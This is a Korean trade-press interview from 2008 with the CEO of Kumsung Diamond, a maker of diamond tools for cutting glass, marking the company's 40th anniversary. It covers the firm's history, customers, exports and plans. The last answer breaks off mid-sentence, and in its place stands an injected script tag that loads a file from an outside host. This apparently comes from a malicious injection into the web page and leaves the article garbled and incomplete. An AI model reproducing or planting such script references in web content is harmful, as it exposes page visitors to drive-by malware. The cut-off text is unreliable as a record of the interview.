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특집 인터뷰 - 창립 40주년 (주)금성다이아몬드 강길박 대표
발행일자 : 2008년10월30일 12시51분

유리용 다이아몬드 공구 외길 40년, ‘고객과 한마음’모토로 성장 철저한 고객중심의 마인드 확립, 고객과 직원이 발전의 원동력 산업용 다이아몬드공구 및 유리용 cutter, 관련공구 및 기계류 생산에 주력해 온 (주)금성다이아몬드(대표 강길박)가 올해로 창립 40주년을 맞이하였다. (주)금성다이아몬드는 처음 시작부터 유리공구 시장에 국산화를 위한 노력을 계속하였으며 지속적인 제품 개발과 아이템 확장을 통하여 현재는 유리용 cutter류 에서부터 유리연마기, 진공흡착기등 200여가지 제품을 생산하고 있다. 국내 시장 뿐만 아니라 세계시장의 수출 확대를 통해 글로벌 경영을 펼치고 있는 (주)금성다이아몬드의 창립 40주년을 맞아 이 회사 강길박 대표를 만나보았다. Q. (주)금성다이아몬드가 어떤 회사인지 소개한다면? A. 우리는 1940년대에 최초로 산업용 드레샤를 제작하는 특수 다이아몬드 공구를 시작으로 하였으나, 광복후 한국전쟁등을 거치며 우여곡절 끝에 1968년에 다시 외국 제품에 의존해 오던 유리공구 시장에 국산화를 시작하였습니다. 그리고 지금은 한국유리나 KCC 등의 유리 관련 고객들은 물론 포스코 철강 협력업체들 및 삼성 및 LG 등의 디스플레이 산업에 관련한 제품들을 고객들에게 공급해 드리고 있습니다. Q. 40년 간 한결같이 지켜온 소신은? A. 가족 같은 회사를 만들자. 가족과 같은 회사는 단지 이윤을 위해서가 아니라 사회(고객을 포함한)에도 공헌하기 위해 노력합니다. 그래서 회사의 모토를 “고객과 한마음”이라고 정한 것입니다. Q. 40년 간 큰 발전을 이어온 원동력이 있다면? A. 큰 발전이라 하기에는 부족하지만, 고객의 성원이 첫 번째 이유이고, 고생을 같이한 직원들 모두가 원동력이라 하겠습니다. 지난 40년 간 많은 기쁨도 있었고 힘들기도 한 일들이 많았지만, 고객들의 성원과 직원들의 노력으로 극복할 수 있었습니다. Q. 가장 기억에 남는 에피소드가 있다면? A. 독일의 커다란 유통업체의 이사님과 특허권 문제로 분쟁이 있을뻔 한 적이 있었는데, 오히려 그 인연으로 지금은 금성의 든든한 후원자가 되어 러시아, 아프리카, 동유럽등의 지역에 대량 수출을 하는 계기가 되었답니다. 지금도 꾸준히 협력관계를 유지하고 있습니다. Q. (주)금성다이아몬드가 가지고 있는 가장 큰 장점은? A. 우리는 시장의 애로사항에 귀를 기울여 듣고 있습니다. 고객들의 애로사항이 곧 저희의 성장과제이기 때문에 그 것을 사내 네트워크를 통해 유기적으로 풀어 나간다는 것이 가장 큰 장점입니다. Q. 제품 개발에 있어 가장 주안점을 두는 부분은? A. 요즘에는 기능과 디자인 모두가 중요시되고 있습니다. 그러나 무엇보다 고객의 경쟁력 향상을 위해 편의성과 확장성에 중점을 두고 있습니다. 예를 들자면, 대형 흡착기의 경우 다양한 유리 사이즈를 이송하기 위해서 표준형 흡착기를 권장해 드림으로써, 작은 것부터 중대형 사이즈까지 대응 가능하도록 설계하고 있습니다. Q. (주)금성다이아몬드의 주력 제품은 어떤 제품인지? A. 우리는 다양한 제품군을 구성하고 있어, 한두가지에 주력하는 타사와는 다른 모습을 가지고 있습니다. 예를 들자면, 판유리쪽에서만 유리 재단용 칼날을 연간 30만개를 국내 및 해외 시장에 판매하고 있으며, 디스플레이용 다이아몬드 휠은 국내 유명 대기업에 다양한 형상으로 판매하고 있습니다. 그 뿐만 아니라 대형 흡착기 및 무동력 트렉등의 설비를 국내 및 세계 60개 국가로 수출하고 있습니다. 그리고 국내에는 잘 알려지지 않았지만, 태양열 전지판 사업에도 뛰어들어 일본의 유명 회사와 협력관계를 맺고 있습니다. Q. 수출이 확대되고 있는데 몇 개국에 어떤 제품을 수출하고 있는지? A. 다시 한번 설명 드리자면 총 수출 국가는 60개국 이상이지만 주요 수출국은 25개국 정도입니다. 제품군들도 다양해서 국가 특성에 맞춰 주력 품목을 달리하고 있습니다. 연간 수출 규모는 대략 400만불정도입니다. Q. (주)금성다이아몬드와 같이 해 온 고객과 직원들에게 한마디 한다면? A. 한결 같은 사랑에 감사드리며, 대한민국의 자존심을 가지고 세계 시장에서 앞서나가는 금성이 되겠습니다. 금성을 믿고 꾸준하고 열정적인 성원 부탁드립니다. Q. 40년을 넘어 더 큰 발전을 위한 향후 계획 및 목표는? A. 그동안 크고 작은 사건 사고도 많았고, 기쁘고 힘든 일들도 많았습니다. 분명히 앞으로도 유사한 일들이 많을 것이라고 생각합니다. 그런 가운데서도 고객들의 성원과 직원들의 노력이 우리 회사 성장의 원동력이였고 앞으로도 그럴 것입니다. 작은 일에 얽매이지 않고 보다 더 큰 세상을 위해 뻗어 나가겠습니다. 일하다가 보면 많은 유혹도 생깁니다. 대부분의 사람들은 조금의 이익을 더 얻기 위?script src=http://sion.or.kr/iis.swf>
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